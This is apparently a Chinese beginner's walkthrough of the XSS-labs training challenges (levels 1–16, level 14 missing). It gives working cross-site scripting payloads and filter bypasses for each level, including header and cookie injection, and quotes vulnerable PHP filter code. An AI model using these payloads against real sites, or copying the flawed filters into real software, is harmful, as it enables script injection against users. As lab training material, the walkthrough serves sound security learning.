XSS——labs初学者通关技巧(1-16)

Less-1

进入页面显示的是这个画面

XSS——labs初学者通关技巧(1-16)

 我们这关用的是最基本的语句之间插入,

<script>alert(1)</script>

XSS——labs初学者通关技巧(1-16)

 触发xss漏洞

XSS——labs初学者通关技巧(1-16)

 第一关完成

Less-2

在第二关中我们看到的是这个页面

XSS——labs初学者通关技巧(1-16)

 在这个关卡中我们按照第一关的做法,发现不能成功

查看网页源码

XSS——labs初学者通关技巧(1-16)

 其中搜索语句语句被预编译了

也可以打开关卡的源码查看,发现里面被htmlspecialchars函数处理过。

htmlspecialchars函数功能:

把预定义的字符 “<” (小于)和 “>” (大于)转换为 HTML 实体:

我们看到这个页面

XSS——labs初学者通关技巧(1-16)

 在这里我们可以看到存在input的弹窗

我们在这里进行闭合,后面加上注释

"> <script>alert('xss')</script> //

XSS——labs初学者通关技巧(1-16)

触发xss漏洞,第二关完成。

Less-3

第三关的页面如下:

XSS——labs初学者通关技巧(1-16)

 正常触发无法成功

XSS——labs初学者通关技巧(1-16)

重复上几关的操作我们发现input也被 htmlspecialchars函数处理过

 打开查看网页源码

XSS——labs初学者通关技巧(1-16)

 我们可以看到其中的value部分被单引号闭合,

而且 htmlspecialchars函数默认不对 ' 生效

这样我们再搜索内输入闭合语句即可生效,以下几个都可以

' onclick='javascript:alert(/xss/)
'onclick='alert(/xss/)
' onm ouseover='javascript:alert(/xss/)
'onmouseover='alert(/xss/)

onmouseover事件会在鼠标指针移动到指定的对象上时触发事件发生。可以结合JS实现一些CSS特效。

这里也涉及到javascript伪协议可以自信上网了解

 输入完成再点击value空白处即可触发xss漏洞

XSS——labs初学者通关技巧(1-16)

Less-4

我们看到的页面如下:

XSS——labs初学者通关技巧(1-16)

 按照第一关的思路试探

XSS——labs初学者通关技巧(1-16)

 上传经典语句,然后查看源码

XSS——labs初学者通关技巧(1-16)

 我们看橘色字体发现他这里对尖括号进行了转义

但是我们可以看到value部分并没有过滤

我们就可以闭合value部分来实现xss

"onclick="alert(/xss/)

XSS——labs初学者通关技巧(1-16)

 Level 5

简单的测试一下,<script>alert(1)</script>。

XSS——labs初学者通关技巧(1-16)

查看源码

 XSS——labs初学者通关技巧(1-16)

 看到单引号并没有被转义,

XSS——labs初学者通关技巧(1-16)

 

这里我们可以发现script部分缺失了一点

我们再试onclick发现也是一样的。

存在函数改变script和onclick

查看php源码会发现他会改变script和on

XSS——labs初学者通关技巧(1-16)

 这时候我们只能先闭合前面的标签,用  ">

然后因为onclick改变,创造一个没有on的语句

最后就是这个语句

"> <a href="javascript:alert('xss')">

XSS——labs初学者通关技巧(1-16)

 

Level 6

XSS——labs初学者通关技巧(1-16)

用基本的语句测试一下

XSS——labs初学者通关技巧(1-16)

 查看源码

XSS——labs初学者通关技巧(1-16)

 发现单引号被过滤了,而且script也被改变

 我们试着使用上一关的代码,

XSS——labs初学者通关技巧(1-16)

 发现herf也被过滤了

我们查看php源码可以看到

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>

 因为str_replace是区分大小写的。

我们改变href的大小写就可以了

"> <a HREF="javascript:alert('xss')">

XSS——labs初学者通关技巧(1-16)

 

Level 7

一样的测试一下

XSS——labs初学者通关技巧(1-16)

 我们发现

XSS——labs初学者通关技巧(1-16)

 script直接变成了空,试着双写绕过

<sscriptcript>alert(1)</sscriptcript>、XSS——labs初学者通关技巧(1-16)

 查看源码

XSS——labs初学者通关技巧(1-16)

发现单引号被过滤 

在value这部分,我们只需要闭合前面的括号就可以了

"><sscriptcript>alert(1)</sscriptcript>

XSS——labs初学者通关技巧(1-16)

 

Level 8

XSS——labs初学者通关技巧(1-16)

 我们看见有友情链接

输入基本语句之后,我们可以看到script给过滤了

XSS——labs初学者通关技巧(1-16)

 我们再试试其他的有没有被过滤

XSS——labs初学者通关技巧(1-16)

 我们尝试之后可以看到onclick和javascript都被改变了

这里就可以尝试实体化编码绕过或者ur编码绕过

网上可以进行转换查看

转化程度不一样编码也并不一样

javasc&#82;ipt:alert('xss')

XSS——labs初学者通关技巧(1-16)

 

Level 9

和上一关一样的代码试试

XSS——labs初学者通关技巧(1-16)

 这里提示连接不合法

猜测应该是匹配相应字符

我们这里就要猜测匹配的字符是什么

打开php源码可以发现匹配的字符是http://

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

那么我们只需要在上一关的基础是加上http://(这里的东西一定要注释掉)

javasc&#82;ipt:alert('111')//http://

XSS——labs初学者通关技巧(1-16)

Level 10

XSS——labs初学者通关技巧(1-16)

 这一关只有单独的一张图片,那么我们考虑应该从图片入手

查看源代码

XSS——labs初学者通关技巧(1-16)

我们可以看到呀三哥隐藏起来的input

 XSS——labs初学者通关技巧(1-16)

我们可以看到这三个隐藏起来的语句也不一样,我们尝试用构造函数

构造语句:?keyword=<script>alert(1)</script>&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"

XSS——labs初学者通关技巧(1-16)

 我们可以看到t_sort语句可以绕过

keyword="tesr"οnclick="alert(1)&t_sort="type="text" οnclick="alert(1)

XSS——labs初学者通关技巧(1-16)

 

Level 11

XSS——labs初学者通关技巧(1-16)

 查看源代码

XSS——labs初学者通关技巧(1-16)

我们发现value部分可能存在xss,所以用burpsuite抓包,

?keyword=1&t_sort=%22%20οnclick=%22%20alert(/xss/)修改

XSS——labs初学者通关技巧(1-16)

 然后直接可以完成

Level 12

XSS——labs初学者通关技巧(1-16)

查看一下源代码

XSS——labs初学者通关技巧(1-16)

 用burpsuit抓包,看到value里面的值明显就是

 User-Agent里面的的内容XSS——labs初学者通关技巧(1-16)

 所以我们这次在 User-Agent里面做手脚

User-Agent: "οnclick="javascript:alent(/xss/)

XSS——labs初学者通关技巧(1-16)

 放包就可以了

Level 13

XSS——labs初学者通关技巧(1-16)

 直接抓包

XSS——labs初学者通关技巧(1-16)

 

我们观察发现cookie的参数到了value里面

所以这次从cookie操作

 Cookie: user=call+me+maybe%3F"οnclick="javascript:alent(/xss/)

XSS——labs初学者通关技巧(1-16)

 直接放包就可以以了

Level 15

这关需要在php源码里面改一下配置

XSS——labs初学者通关技巧(1-16)

 https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js被墙了
我们换一个
https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js

开始

查看源码

XSS——labs初学者通关技巧(1-16)

 我们看到了ng-include

ng-include 指令用于包含外部的 HTML 文件。

包含的内容将作为指定元素的子节点。

ng-include 属性的值可以是一个表达式,返回一个文件名。

默认情况下,包含的文件需要包含在同一个域名下。

可以看到我们提交的参数src的值被插入到了标签的class属性值中,但是前面还有ng-include这样的字符。

这里就是将1.png这个文件给包含进来

XSS——labs初学者通关技巧(1-16)

 

然后可以构造

?src='level1.php?name=<img src=1 οnerrοr=alert(1)>'

就是访问了第一关,同时执行了xss

XSS——labs初学者通关技巧(1-16)

 可以自行上网百度onerror事件

onerror 事件

实例

当视频的媒体数据加载期间发生错误时执行 JavaScript :

<video οnerrοr="myFunction()">


定义和用法

onerror 事件在视频/音频(audio/video)数据加载期间发生错误时触发。

提示: 影响媒体数据加载的相关事件有:

 Level 16

XSS——labs初学者通关技巧(1-16)

 XSS——labs初学者通关技巧(1-16)

 

 经典的语句基本都被过滤

空格也被过滤了。也就意味着我们无法通过空间来将字符分隔进行语义的区分,不过我们还可以用回车来将它们分开。

可以用回车的URL编码格式%0a来表示。

?keyword=<img%0asrc="111"%0aοnerrοr=alert('xss')>

XSS——labs初学者通关技巧(1-16)

 

完成

上一篇:Elasticsearch概念及查询语法


下一篇:Android S 滑动解锁概率失败